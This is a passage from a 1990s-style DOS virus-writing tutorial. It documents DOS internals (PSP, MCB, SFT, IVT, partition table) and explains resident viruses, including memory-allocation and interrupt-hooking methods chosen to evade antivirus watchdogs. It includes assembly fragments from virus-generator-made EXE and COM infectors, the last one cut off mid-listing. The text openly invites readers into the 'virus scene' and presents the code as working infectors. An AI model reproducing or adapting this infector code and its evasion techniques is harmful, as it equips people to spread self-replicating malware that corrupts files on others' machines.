;�����������������������������������������������������������������������������

signature       db      "[PS/G�]",0     ; Phalcon/Skism G�
EXEmask         db      "*.EXE",0
dot_dot         db      "..",0

heap:
newDTA          db      43 dup (?)
origdir         db      65 dup (?)
numinfect       db      ?
readbuffer      db      1ah dup (?)
endheap:
       end     start
;���[ CUT HERE ]��������������������������������������������������������������

Too much for you ? Ok, i know. But i have to say one thing. When you underst-
and the concept of COM and EXE infection, your knowledge will grow as fast
as the light speed :) Doesn't matter that viruses are obsolete runtime ones.
The important is the concept. And if you understand this, you can make what-
ever you want.

We'll stop a little time. It's time to explain you some more useful theory.

��Ĵ Useful Structures �������������������������������������������������������

Now it's time to know one thing we had talked a lot, the PSP.

The PSP ( Program Segment Prefix )
����������������������������������

Its structure look like this:

�����������������������������������Ŀ ��� +0000h
�        INT 20h ( CD 20 )          �            Size : 1 WORD
�����������������������������������Ĵ ��� +0002h
�    Pointer to the next segment    �            Size : 1 WORD
�����������������������������������Ĵ ��� +0004h
�            Reserved               �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0005h
�       Far call to INT 21h         �            Size : 5 BYTES
�����������������������������������Ĵ ��� +000Ah
�       Saved INT 22h vector        �            Size : 1 DWORD
�����������������������������������Ĵ ��� +000Eh
�       Saved INT 23h vector        �            Size : 1 DWORD
�����������������������������������Ĵ ��� +0012h
�       Saved INT 24h vector        �            Size : 1 DWORD
�����������������������������������Ĵ ��� +0016h
�            Reserved               �            Size : 22 BYTES
�����������������������������������Ĵ ��� +002Ch
�   Offset to Enviroment Segment    �            Size : 1 WORD
�����������������������������������Ĵ ��� +002Eh
�            Reserved               �            Size : 46 BYTES
�����������������������������������Ĵ ��� +005Ch
�        First default FCB          �            Size : 16 BYTES
�����������������������������������Ĵ ��� +006Ch
�        Second default FCB         �            Size : 16 BYTES
�����������������������������������Ĵ ��� +0080h
�   Command Tail and default DTA    �            Size : 180 BYTES
�������������������������������������                   ���������
                                           Total Size : 256 BYTES

Let's explain it step by step, because this structure is very important.

� Offset 0000h:

The INT 20h is an obsolete method for terminate program. Nowadays we use
function 4Ch of the INT 21h.

� Offset 0002h:

Here goes the pointer to the next segment placed after our program. We can
use it to know how much memory DOS have given to us ( substracting the offset
pointed by it to the offset 0000 of our PSP ). It'll return to us the memory
in paragraphs, so we have to multiply it by 16 to obtain the size in bytes.

� Offset 0005h:

This is a preety curious way to call INT 21h. And, of course, we can use it
to our purposes. The functions are in CL instead AH, and we can only use the
functions below 24h. I'll explain more in TUNNELING chapter.

� Offset 000Ah:

Here are stored the original vectors of INT 22h. The INT 22h is the one that
receives the control when the program terminates its execution using this
ways:

- INT 20h
- INT 27h
- INT 21h ( Functions 00h, 31h, 4Ch )

� Offset 000Eh:

Here are stored the vectors of anothr int, the INT 23h. This int is the one
that handles the CTRL+C key combination.

� Offset 0012h:

Another int is stored here, the INT 24h. This is the int that handle the
critical errors. Examples of this kinda errors ? When there isn't a floppy in
your floppy drive, or when it's write-protected.

� Offset 002Ch:

Here goes the starting offset of the enviroment block.

� Offset 005Ch:

In this field is stored the first default FCB ( File Control Block ). This
way to access files isn't normally used by programs ( they are here for
compatibility with old DOS versions ), but virus writers usually use a way
for make stealth. See the FCB structure for more info.

� Offset 006Ch:

Ditto. It's the second default FCB.

� Offset 0080h:

This field has two functions:

- Store the command tail
- Default file buffer for store DTA

This functions can't live together, so when we start a program the first
thing that is here is the command tail. If we need it, i recommend you to
save it to a safe place ( a variable in our code ). The first byte of command
tail ( 80h ) holds its length, and from here, it's stored the real params.
The structure of the DTA will be explained in this same chapter.

The FCB ( File Control Block )
������������������������������

There are two kinds of FCBs : the normal and the extended ones. Here you have
the structure of a normal FCB.

�����������������������������������Ŀ ��� +0000h
� Drive Letter ( 0=actual, 1=A... ) �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0001h
�     Blank padded file name        �            Size : 8 BYTES
�����������������������������������Ĵ ��� +0009h
�    Blank padded file extension    �            Size : 3 BYTES
�����������������������������������Ĵ ��� +000Ch
�       Current block number        �            Size : 1 WORD
�����������������������������������Ĵ ��� +000Eh
�       Logical record size         �            Size : 1 WORD
�����������������������������������Ĵ ��� +0010h
�            File size              �            Size : 1 DWORD
�����������������������������������Ĵ ��� +0014h
�            File date              �            Size : 1 WORD
�����������������������������������Ĵ ��� +0016h
�            File time              �            Size : 1 WORD
�����������������������������������Ĵ ��� +0018h
�            Reserved               �            Size : 8 BYTES
�����������������������������������Ĵ ��� +0020h
�    Record within current block    �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0021h
�    Random access record number    �            Size : 1 DWORD
�������������������������������������                   ��������
                                           Total Size : 37 BYTES

And when it's an extended FCB, all this avobe offsets are shifted by 7 bytes,
and then the first 7 bytes looks like this:

�����������������������������������Ŀ ��� -0007h
� FF ( Signature for extended FCB ) �            Size : 1 BYTE
�����������������������������������Ĵ ��� -0006h
�            Reserved               �            Size : 5 BYTES
�����������������������������������Ĵ ��� -0001h
�         File attribute            �            Size : 1 BYTE
�������������������������������������                   ��������
                                           Total Size : 44 BYTES

The way for detect if the FCB is normal or extended is to see if the first
byte of FCB is a FFh byte. If it's, the FCB is extended, cause in a normal
FCB this can't never happen.
There's a kinda of stealth that changes some values of the FCB for hide the
infection, but this will be seen in the STEALTH chapter.

The MCB ( Memory Control Block )
��������������������������������

It's explained in RESIDENT viruses chapter ( the next chapter ). Here you
have:

�����������������������������������Ŀ ��� +0000h
�  ID ( Z=last, M=there're more )   �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0001h
�     Address of associated PSP     �            Size : 1 WORD
�����������������������������������Ĵ ��� +0003h
� Number of paras in allocated mem  �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0005h
�             Unused                �            Size : 11 BYTES
�����������������������������������Ĵ ��� +0008h
�           Block Name              �            Size : 8 BYTES
�����������������������������������Ĵ ��� +0010h
�     Zone of allocated memory      �            Size : ?? PARAS
�������������������������������������                   ��������
                                           Total Size : VARIABLE

The DTA ( Disk Transfer Area )
������������������������������

This structure is very important in virus writing. Let's see it:

�����������������������������������Ŀ ��� +0000h
� Drive Letter ( equal than above ) �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0001h
�         Search Template           �            Size : 11 BYTES
�����������������������������������Ĵ ��� +000Ch
�            Reserved               �            Size : 9 BYTES
�����������������������������������Ĵ ��� +0015h
�         File attribute            �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0016h
�            File time              �            Size : 1 WORD
�����������������������������������Ĵ ��� +0018h
�            File date              �            Size : 1 WORD
�����������������������������������Ĵ ��� +001Ah
�            File size              �            Size : 1 DWORD
�����������������������������������Ĵ ��� +001Eh
�    ASCIIZ Filename + extension    �            Size : 13 BYTES
�������������������������������������                   ��������
                                           Total Size : 43 BYTES

The original DTA is stored in offset 80h of the PSP. We can save it with
function 1Ah of the INT 21h.

The IVT ( Interrupt Vector Table )
����������������������������������

This ain't a " real " structure. Erhm... Let me explain... The IVT is the
place when are stored all the interrupt vectors ( wow, genius! ). All the
vectors are located in number_of_interrupt * 4. Imagine we want the INT 21h
vectors in DS:DX... simple:

xor ax,ax
mov ds,ax
lds dx,ds:[21h*4]

Why we clear DS ? Coz the IVT is located from 0000:0000.
This manipulation ( without using DOS ) is the DIRECT way for obtain/put
vectors of an interrupt. Well, all this stuff and more in RESIDENT VIRUSES
chapter. Hey... I've forgotten a little graphic :)

�����������������������������������Ŀ ��� +0000h
�          INT 00h vector           �            Size : 1 DWORD
�����������������������������������Ĵ ��� +0004h
�          INT 01h vector           �            Size : 1 DWORD
�����������������������������������Ĵ
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
�����������������������������������Ĵ ��� +03FCh
�          INT FEh vector           �            Size : 1 DWORD
�����������������������������������Ĵ ��� +0400h
�          INT FFh vector           �            Size : 1 DWORD
�������������������������������������                   ����������
                                           Total Size : 1024 BYTES

You can imaginate that the " broken " line means that are 256 interrupts, and
i had to optimize this document ( i don't want it to occupy 5 megs! ) ;)

The SFT ( System File Table )
�����������������������������

This structure is really cool. It can help you to make your code much more
powerful and optimized. It's like the FCBs, but, as you can see, this one is
more powerful. With this tables we can make stealth, change the file pointer,
the open mode, attributes... Here you have the structure for DOS 4+ ( I beli-
eve there isn't in the world someone using DOS 3 or something ). Well, if you
want to code also for DOS 3, go to the Ralph Brown's interrupt list. But the
SFT for DOS 3 is very similar to this one. The important values are in the
same place :)

�������������������������������������ͻ ��� +0000h
�     Pointer to next file table      �           Size : 1 DWORD
�������������������������������������͹ ��� +0004h
�    Number of files in this table    � - - - - - Size : 1 WORD - - - - - - -
�������������������������������������Ѽ ��� +0000h    [ 3Bh bytes per file ]
�  Number of file handles of file   �            Size : 1 WORD
�����������������������������������Ĵ ��� +0002h
�     File open mode ( AH=3Dh )     �            Size : 1 WORD
�����������������������������������Ĵ ��� +0004h
�         File attribute            �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0005h
�  Device info block ( AX=4400h )   �            Size : 1 WORD
�����������������������������������Ĵ ��� +0007h
� If char device points next dev h. �            Size : 1 DWORD
�      else point to DOS DPB        �
�����������������������������������Ĵ ��� +000Bh
�     Starting cluster of file      �            Size : 1 WORD
�����������������������������������Ĵ ��� +000Dh
�            File time              �            Size : 1 WORD
�����������������������������������Ĵ ��� +000Fh
�            File date              �            Size : 1 WORD
�����������������������������������Ĵ ��� +0011h
�            File size              �            Size : 1 DWORD
�����������������������������������Ĵ ��� +0015h
�      Current offset in file       �            Size : 1 DWORD
�����������������������������������Ĵ ��� +0019h ---------[ If Local File ]
�  Relative cluster within file of  �            Size : 1 WORD
�      last cluster accessed        �
�����������������������������������Ĵ ��� +001Bh
�  Number of sector with dir entry  �            Size : 1 DWORD
�����������������������������������Ĵ ��� +001Fh
� Number of dir entry within sector �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0019h ----[ Network redirector ]
�   Pointer to REDIRIFS records     �            Size : 1 DWORD
�����������������������������������Ĵ ��� +001Dh
�               ???                 � -----------Size : 3 BYTES-------------
�����������������������������������Ĵ ��� +0020h
�     Filename in FCB format        �            Size : 11 BYTES
�����������������������������������Ĵ ��� +002Bh
� Pointer to prev SFT sharing file* �            Size : 1 DWORD
�����������������������������������Ĵ ��� +002Fh
�  Network machine num opened file* �            Size : 1 WORD
�����������������������������������Ĵ ��� +0031h
�    PSP segment of file owner      �            Size : 1 WORD
�����������������������������������Ĵ ��� +0033h
�  Offset to code segment of rec*   �            Size : 1 WORD
�����������������������������������Ĵ ��� +0035h
� Absolute clust num of last access �            Size : 1 WORD
�����������������������������������Ĵ ��� +0037h
�  Pointer to IFS driver for file   �            Size : 1 DWORD
�������������������������������������                   ��������
                                           Total Size : 61 BYTES

Uhm... I forgot to say what's the way to access SFTs... Here you have the
routine that puts the SFT in ES:DI, giving the file handle in BX

GetSFT:
       mov     ax,1220h
       int     2Fh
       jc      BadSFT

       xor     bx,bx
       mov     ax,1216h
       mov     bl,byte ptr es:[di]
       int     2Fh
BadSFT:
       ret

I really recommend you to save the values in AX/BX ( BX is very important, we
put there the file handle )

(*) The fields marked are used by SHARE.EXE

The DIB ( DOS Info Block )
��������������������������

With the DIB we can access to very important structures, that can't be acce-
ssed by another way. This structure isn't fixed to a memory location. We must
use the function 52h of the INT 21h. It isn't a documented function of DOS.
When we call to the said function, we have the address of DIB in ES:BX.
Here you have:

�����������������������������������Ŀ ��� -0004h
�       Pointer to first MCB        �            Size : 1 DWORD
�����������������������������������Ĵ ��� +0000h
�       Pointer to first DPB        �            Size : 1 DWORD
�����������������������������������Ĵ ��� +0004h
�    Pointer to DOS last buffer     �            Size : 1 DWORD
�����������������������������������Ĵ ��� +0008h
�        Pointer to $CLOCK          �            Size : 1 DWORD
�����������������������������������Ĵ ��� +000Ch
�          Pointer to CON           �            Size : 1 DWORD
�����������������������������������Ĵ ��� +0010h
�       Maximum sector length       �            Size : 1 WORD
�����������������������������������Ĵ ��� +0012h
�    Pointer to DOS first buffer    �            Size : 1 DWORD
�����������������������������������Ĵ ��� +0016h
� Pointer to array of cur dir struc �            Size : 1 DWORD
�����������������������������������Ĵ ��� +001Ah
�         Pointer to SFT            �            Size : 1 DWORD
�������������������������������������                   ��������
                                           Total Size : 34 BYTES

The DPB ( Drive Parameter Block )
���������������������������������

This structure provides us very useful information for our purposes. We can
know where is it located by using the second pointer in the DIB ( see above )
Here you have:

�����������������������������������Ŀ  ��� +0000h
�    Drive Letter ( 0=A,1=B... )    �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0001h
� Unit number within device driver  �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0002h
�        Bytes per sector           �            Size : 1 WORD
�����������������������������������Ĵ ��� +0004h
� Highest sect num within a cluster �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0005h
� Shift count for clust to sectors  �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0006h
�    Number of reserved clusters    �            Size : 1 WORD
�����������������������������������Ĵ ��� +0008h
�          Number of FATs           �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0009h
� Number of root directory entries  �            Size : 1 WORD
�����������������������������������Ĵ ��� +000Bh
� Number of first sector with data  �            Size : 1 WORD
�����������������������������������Ĵ ��� +000Dh
�  Number of last sector with data  �            Size : 1 WORD
�����������������������������������Ĵ ��� +000Fh
�    Number of sectors per FAT      �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0010h
� Sector number of first dir sector �            Size : 1 WORD
�����������������������������������Ĵ ��� +0012h
�  Address of device driver header  �            Size : 1 DWORD
�����������������������������������Ĵ ��� +0016h
�          Media ID byte            �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0017h
�  00h if disk accessed, else FFh   �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0018h
�       Pointer to next DPB         �            Size : 1 DWORD
�������������������������������������                   ��������
                                           Total Size : 28 BYTES

The Partition Table
�������������������

Well, this structure is preety known by everyone that codes boot infectors.
This is the first block of the hard disk. It's always the first, doesn't
matter if we're in a floppy or in a Hard Disk. We can also call it MBR ( Mas-
ter Boot Record ) when HD, or Boot Sector when FD.
The partition table is an array with four entries, located at offset 01BEh
in the block. Here you have the format of each of these entries:

�����������������������������������Ŀ ��� +0000h
� Boot indicator ( Bootable = 80h,  �            Size : 1 BYTE
�       Non bootable 00h )          �
�����������������������������������Ĵ ��� +0001h
�  Head where the partition begins  �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0002h
� Sector where the partition begins �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0003h
�  Cylinder where the part. begins  �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0004h
�  System indicator* ( What OS ? )  �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0005h
�    Head where partition ends      �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0006h
�  Sector where the partition ends  �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0007h
� Cylinder where the partition ends �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0008h
� Total blocks preceding partition  �            Size : 1 DWORD
�����������������������������������Ĵ ��� +000Ch
�   Total blocks in the partition   �            Size : 1 DWORD
�������������������������������������                   ��������
                                           Total Size : 16 BYTES

(*) 01 = 12-bit FAT
    04 = 16-bit FAT

The BPB ( Bios Parameter Block )
��������������������������������

In DOS based systems, the boot record begins with a jump, followed by the
following structure, the BPB.

�����������������������������������Ŀ ��� +0000h
�  OEM name and version ( ASCII )   �            Size : 8 BYTES
�����������������������������������Ĵ ��� +0008h
�         Bytes per sector          �            Size : 1 WORD
�����������������������������������Ĵ ��� +000Dh
�       Sectors per cluster         �            Size : 1 BYTE
�����������������������������������Ĵ ��� +000Eh
� Reserved sector ( starting at 0 ) �            Size : 1 WORD
�����������������������������������Ĵ ��� +0010h
�          Number of FATs           �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0011h
�  Num of 32 bit root dir entries   �            Size : 1 WORD
�����������������������������������Ĵ ��� +0013h
�    Total sectors in partition     �            Size : 1 WORD
�����������������������������������Ĵ ��� +0015h
�         Media descriptor          �            Size : 1 BYTE
�����������������������������������Ĵ ��� +0017h
�          Sectors per FAT          �            Size : 1 WORD
�����������������������������������Ĵ ��� +0019h
�         Sectors per track         �            Size : 1 WORD
�����������������������������������Ĵ ��� +001Bh
�          Number of heads          �            Size : 1 WORD
�����������������������������������Ĵ ��� +001Dh
�      Number of hidden sectors     �            Size : 1 WORD
�������������������������������������                   ��������
                                           Total Size : 29 BYTES


��Ĵ More cool viruses : RESIDENT viruses ������������������������������������

Well, if you have reached this point and you're still alive, you have future
in this cool world called virus scene :)
Here begins the interesting stuff for you ( to read ) and for me ( to write )

What the hell is a resident program?
������������������������������������

Well, first of all i'll explain you just the opposite :)
When we execute a non-resident program ( normal program such edit ), DOS
gives it determinated memory, but this memory is deallocated at time the
application is terminated ( with an INT 20h, or INT 21h functions like the
famous 4Ch ).
A resident program is executed like a normal program, but it leaves in memory
a portion of itself, that is not deallocated after program termination.
Resident programs ( aka TSR = Terminate and Stay Resident ) ussually replace
some interrupts, and putting its own ones, for perform the task for they're
designed. What uses can we give to a TSR program ? We can use for hacking
( steal passwords ), for our cool utilities... all depends of your imagina-
tion. Of course, i don't forget it... for make RESIDENT VIRUSES :)

What can a TSR virus give you?
������������������������������

TSR isn't the best way to call viruses that go resident. Imagine you're exe-
cuting something and it returns to DOS. No. We can't TERMINATE and stay re-
sident! The user will note there's something wrong. We must RETURN to host
and stay resident :) TSR is only an abbreviation ( misused, i must add ).
Resident viruses can offer us a new world of possibilities. We can make our
virus much more infectious, safe... We can disinfect file when an attempt to
open/read file is detected ( imagine, AVs won't detect anything ), we can
hook the functions used by AVs in order to fool them, we can substract the
virus size to inexpert user eyes ( erhm... experts too ) ;)
Nowadays there isn't reasons to make runtime viruses. They're slow, easily
detectable, and OBSOLETE ( Hey! An excelent Fear Factory album! ) :)
Let's see a little example of resident program.

;���[ CUT HERE ]��������������������������������������������������������������
; This program will check if it's already in memory, and then it'll show us a
; stupid message. If not, it'll install and show another msg.

      .model   tiny
      .code
       org     100h

start:
       jmp     fuck

newint21:
       cmp     ax,0ACDCh               ; Are user caliing our function?
       je      is_check                ; If yes, answer the call
       jmp     dword ptr cs:[oldint21] ; Else jump to original int 21

is_check:
       mov     ax,0DEADh               ; We answer it
       iret                            ; And make an interrupt return :)

oldint21  label dword
int21_off dw    0000h
int21_seg dw    0000h

fuck:
       mov     ax,0ACDCh               ; Residence check
       int     21h                     ; Invented function, of course ;)
       cmp     ax,0DEADh               ; Are we here?
       je      stupid_yes              ; If yes, show message 2

       mov     ax,3521h                ; If not, we go and install
       int     21h                     ; Function for get INT 21h vectors
       mov     word ptr cs:[int21_off],bx ; We store offset at oldint21+0
       mov     word ptr cs:[int21_seg],es ; We store segment at oldint21+2

       mov     ax,2521h                ; Function for put new int 21 handler
       mov     dx,offset newint21      ; where is it located
       int     21h

       mov     ax,0900h                ; Show message 1
       mov     dx,offset msg_installed
       int     21h

       mov     dx,offset fuck+1        ; Make resident from offset 0 until
       int     27h                     ; offset in dx using int 27h
                                       ; This will also terminate program <g>

stupid_yes:
       mov     ax,0900h                ; Show message 2
       mov     dx,offset msg_already
       int     21h
       int     20h                     ; Terminate program.

msg_installed db "Stupid Resident not installed. Installing...$"
msg_already   db "Stupid Resident is alive and kicking your ass!$"

end      start

;���[ CUT HERE ]��������������������������������������������������������������

This little example can't be used to code a virus... Why? INT 27h, after put
a program in memory, terminates current execution. It's like it put code in
memory and make INT 20h or whatever you use for terminate current program
execution.
And then... What can we use to code a virus?

TSR viruses algorithm
���������������������

We can follow this steps ( imagination is quite good in virus coding... ) :)

1. Check if program is already resident ( yes, goto 5; no, continue )
2. Allocate memory we want
3. Copy virus body to memory
4. Get interrupt vectors, save them and put ours
5. Restore host file
6. Return control to it

Residence checks
����������������

When we're coding a resident program, we must make at least one check to see
if our program is already installed. Ussually, it's an invented function, and
when we call it, the function return us a determinated value ( we choose it,
too ) or if it isn't installed, it makes AL = 00.
Let's see an example:

       mov     ax,0B0B0h
       int     21h
       cmp     ax,0CACAh
       je      already_installed
       [...]

If it was already installed, we restore the infected file host, and return
control to original program. If it wasn't installed, we go and install.
The INT 21h handler for this virus will look like this:

int21handler:
       cmp     ax,0B0B0h
       je      install_check
       [...]

       db      0EAh
oldint21:
       dw      0,0

install_check:
       mov     ax,0CACAh
       iret

Allocate modifying MCB
����������������������

The most used way to allocate memory is the MCB ( Memory Control Block ) one.
There're two way to perform this action: using DOS or doing it DIRECTLY.
After seeing what the hell are each way, let's see what is a MCB.
A Memory Control Block is created by DOS for each control block that the pro-
gram uses. The length of the block is one paragraph ( 16 bytes ), and it
always goes before the allocated memory. Ahhh! num it's always divisibe by 16
We can know the location of the MCB of our program substracting to the code
segment 1 ( CS-1 ) if is a COM file, and DS if EXE ( remember, in EXEs
CS<>DS ) You can see the MCB structure in STRUCTURES chapter ( Already seen,
the before lesson )

� Using DOS for modify MCB:

Well, the method i used in my first virus, the Antichrist Superstar, is very
simple and effective. First we make a request to DOS using function 4Ah of
INT 21h for all memory ( BX=FFFFh ), that is an imposible value. This func-
tion will see that we're requesting for too much memory, so it will place in
BX all memory that we can use. So we substract to this value the code size
of our virus in paragraphs ( ((size+15)/16)+1 ) and call again the function
4Ah. Now it's time to substract to the free memory the memory we want. We can
do it by doing a "sub word ptr ds:[2],(size+15)/16+1", and then call to DOS
function 48h, with the code size in paragraphs in BX. This will return in AX
the segment of allocated block, so we put it in ES, decrement AX, and put
the new value in DS. Now we have in DS the MCB, so we have to manipulate it.
We must put in DS:[0] the byte "Z" or "M" ( Depending of your needs, see MCB
structure ), and in DS:[1] the word 0008, for tell DOS that the block is of
its own, and then it won't overwrite it.
Arf, Arf... After this huge theory, some code will be good.
Something like this will configure MCB to your needs:

       mov     ax,4A00h                ; Here we request for an impossible
       mov     bx,0FFFFh               ; amount of free memory
       int     21h

       mov     ax,4A00h                ; And we substract the virus size in
       sub     bx,(virus_size+15)/16+1 ; paras to the actual amount of mem
       int     21h                     ; ( in BX ) and request for space.

       mov     ax,4800h                ; Now we make DOS substract to da free
       sub     word ptr ds:[2],(virus_size+15)/16+1 ; memory what we need in
       mov     bx,(virus_size+15)/16   ; paragraphs
       int     21h

       mov     es,ax                   ; In AX we get the segment of our
       dec     ax                      ; memory block ( doesn't matter if EXE
       mov     ds,ax                   ; or COM ), we put in ES, and in DS
                                       ; ( substracted by 1 )
       mov     byte ptr ds:[0],"Z"     ; We mark it as last block
       mov     word ptr ds:[1],08h     ; We say DOS the block is of its own

Quite simple and effective... However, this will only manipulate the memory,
it doesn't move your code to memory. This is VERY easy. But we'll see it
later.

� Direct modify of MCB:

This method does exactly the same, but the way to reach our target is diffe-
rent. It has one thing that makes it better that the above method: a TSR AV
watchdog won't say anything of memory manipulation cause we don't use any
kinda interrupt :)
The first we do is to put DS in AX ( coz we can't make any kinda things with
segments ), we decrement it by 1, and then we put it again in DS. Now DS
points to the MCB. If you remember the MCB structure, in the offset 3 we had
the amount of current memory in paragraphs. So we need to substract to this
value the amount of memory we're going to use. We'll use BX ( why not? ) ;)
If we take a look to the past, we can remember that MCB is 16 bytes above the
PSP. So all the PSP offsets are shifted by 16 ( 10h ) bytes. We need to chan-
ge the value of TOM, located at offset 2 of PSP, but we are not pointing to
PSP now, we're pointing to MCB. What can we do? Instead of using offset 2, we
use offset 12h ( 2+16=18d=12h ). We substract to it our memory needs in paras
( remember, virus size+15 divided by 16 ). The new value of this offset now
has the new segment of our program, and we need it in a segment. We are going
to use the Extra Segment ( ES ). But we can make a mov with ES and this
location ( due the limitations of segment manipulations ). We must use a tem-
poral register. AX will be good for our purposes. Now we mark ES:[0] with a
"Z" ( before we used DS as segment handler ), and ES:[1] with an 8.
After the always boring theory, some code will be good

       mov     ax,ds                   ; DS = PSP
       dec     ax                      ; We use AX as temporal register
       mov     ds,ax                   ; DS = MCB

       mov     bx,word ptr ds:[03h]    ; We put in BX the amount of memory
       mov     bx,((virus_size+15)/16)+1 ; and then we put in BX for change
       mov     word ptr ds:[03h],bx    ; We put it in its original place

       mov     byte ptr ds:[0],"M"     ; Mark as not last block

       sub     word ptr ds:[12h],((virus_size+15)/16)+1 ; Subtract virus size
                                       ; to TOM size
       mov     ax,word ptr ds:[12h]    ; Now offset 12h handles the new seg.
       mov     es,ax                   ; And we need AX for put it in ES

       mov     byte ptr es:[0],"Z"     ; Mark as last block
       mov     word ptr es:[1],0008h   ; Mark DOS as owner

Move the virus to memory
������������������������

This is the simplest thing in the resident virus coding. If you know for what
purposes we can use the MOVSB instruction ( and of course, MOVSW, MOVSD... ),
you'll see how much easy is it. All we must do is setup from we want to move
and how many data. It's quite simple. The beginning of data move is magically
always equal to delta offset, do if we have the delta offset in BP, all we
need it to move to SI the content of BP. And we put the virus size in bytes
in CX ( or in words if we want to use MOVSW ). Note that DI must be 0. It'll
be enough with a xor di,di ( an optimized way to make a mov di,0 ). Let's see
code...

       push    cs                      ; Adjust segments
       pop     ds                      ; CS = DS

       xor     di,di                   ; DI = 0 ( Top Of Memory )
       mov     si,bp                   ; SI = offset virus_start
       mov     cx,virus_size           ; CX = virus_size
       rep     movsb                   ; Move bytes from DS:SI to ES:DI

Hooking interrupts
������������������

After move our virus to memory, we need to modify at least one it for perform
our infection. It's ussually INT 21h in about all resident infectors under
the sun, but when we're in a boot virus ( or a multipartite virus that infect
also floppies and MBRs ) we also have to hook the INT 13h. The ints we hook
depend of our needs. There're two ways of hooking interrupts: using DOS or
direct hooking. We must note some things to make our handler:

- First of all, we MUST preserve all registers we use PUSHING them at the
beginning of the handler ( flags too ), and when we'll be going to return the
control to the original handler, POP'em all.

- The second thing we must remember is that you can NEVER call an intercepted
function that is previously hooked by our virus, we'll fall in an infinite
loop. Let's imagine we've hooked function 3Dh of INT 21h ( Open File ), and
we call it from the hooked function code ( or antoher of our new interrupt
handler )... The computer will hang. Instead of this we must make a fake call
to the INT 21h like this one:

CallINT21h:
       pushf
       call    dword ptr cs:[oldint21]
       iret

We can do another thing. We can redirect another interrupt, and make it point
to the old INT 21h. A good choice seems to be INT 03h: It's a good antide-
bugging trick, makes our code more little ( INT 03h is coded CCh that only
takes one byte, and normal ints are coded CDh XX, where XX is the hexadecimal
value of out int ), and we forget all the problems of call intercepted func-
tions. When we're about to pass the control to original INT 21h, it's good
to restore all hooked interrupts that were redirected to INT 21h.

� Hooking interrupts using DOS:

We must get the original vector of an interrupt before put our own vector.
This can be done with the function 35h of the INT 21h
Let's see the input parameters for this function:

AH = 35h
AL = Interrupt Number

When called, it returns us this values :

AX = Preserved
ES = Interrupt Handler Segment
BX = Interrupt Handler Offset

After calling this function, we store ES:BX in a variable in our code for
later use, and set a new interrupt handler. The fuction we must use is the
25h of INT 21h. Here you have the parameters:

AH = 25h
AL = Interrupt Number
DS = New Handler Segment
DX = New Handler Offset

Let's see an example of interrupt hooking by using DOS:

       push    cs                      ; Adjust segments
       pop     ds                      ; CS = DS

       mov     ax,3521h                ; Get interrupt vector function
       int     21h

       mov     word ptr [int21_off],bx ; Now store variables
       mov     word ptr [int21_seg],es

       mov     ah,25h                  ; Put new interrupt
       lea     dx,offset int21handler  ; Offset to new handler
       int     21h
       [...]

oldint21       label dword
int21_off      dw 0000h
int21_seg      dw 0000h

� Direct hook of interrupts:

If we forget DOS, we win some things i said before ( in the direct MCB modi-
fying ). Do you remember the structure of the interrupt table ? It begins
at 0000:0000, and it takes to 0000:0400h. Here we have all the interrupts we
can use, from the INT 00h till the INT FFh. Let's see some code:

       xor     ax,ax                   ; Make zero AX
       mov     ds,ax                   ; For make zero DS ( now AX=DS=0 )
       push    ds                      ; We nned to restore DS later

       lds     dx,ds:[21h*4]           ; All interrupts are in int number*4
       mov     word ptr es:int21_off,dx ; Where save offset
       mov     word ptr es:int21_seg,ds ;   "     "  segment

       pop     ds                      ; Restore DS
       mov     word ptr ds:[21h*4],offset int21handler ; The new handler
       mov     word ptr ds:[21h*4+2],es

Last words about residency
��������������������������

Well, there aren't my last words really. I'll talk a lot of infections, and
all this stuff in the rest of this document, but i assume you know how to do
a resident virus after this. All the stuff from here to the last line of the
document is thougth to be implemented to a TSR virii. Of course, if i say
that something is for runtime viruses, don't scream! :)
After terminate this lesson, i must put an example of full-working resident
virus. We also used at this point G�. It's a lame resident COM infector.

;���[ CUT HERE ]��������������������������������������������������������������
; This code isn't commented as good as the RUNTIME viruses. This is cause i
; assumed all the stuff is quite clear at this point.
; Virus generated by G� 0.70�
; G� written by Dark Angel of Phalcon/Skism
; Assemble with: TASM /m3 lame.asm
; Link with:     TLINK /t lame.obj

checkres1       =       ':)'
checkres2       =       ';)'

       .model  tiny
       .code

       org     0000h

start:
       mov     bp, sp
       int     0003h
next:
       mov     bp, ss:[bp-6]
       sub     bp, offset next         ; Get delta offset

       push    ds
       push    es

       mov     ax, checkres1           ; Installation check
       int     0021h
       cmp     ax, checkres2           ; Already installed?
       jz      done_install

       mov     ax, ds
       dec     ax
       mov     ds, ax

       sub     word ptr ds:[0003h], (endheap-start+15)/16+1
       sub     word ptr ds:[0012h], (endheap-start+15)/16+1
       mov     ax, ds:[0012h]
       mov     ds, ax
       inc     ax
       mov     es, ax
       mov     byte ptr ds:[0000h], 'Z'
       mov     word ptr ds:[0001h], 0008h
       mov     word ptr ds:[0003h], (endheap-start+15)/16

       push    cs
       pop     ds
       xor     di, di
       mov     cx, (heap-start)/2+1    ; Bytes to move
       mov     si, bp                  ; lea  si,[bp+offset start]
       rep     movsw

       xor     ax, ax
       mov     ds, ax
       push    ds
       lds     ax, ds:[21h*4]          ; Get old int handler
       mov     word ptr es:oldint21, ax
       mov     word ptr es:oldint21+2, ds
       pop     ds
       mov     word ptr ds:[21h*4], offset int21 ; Replace with new handler
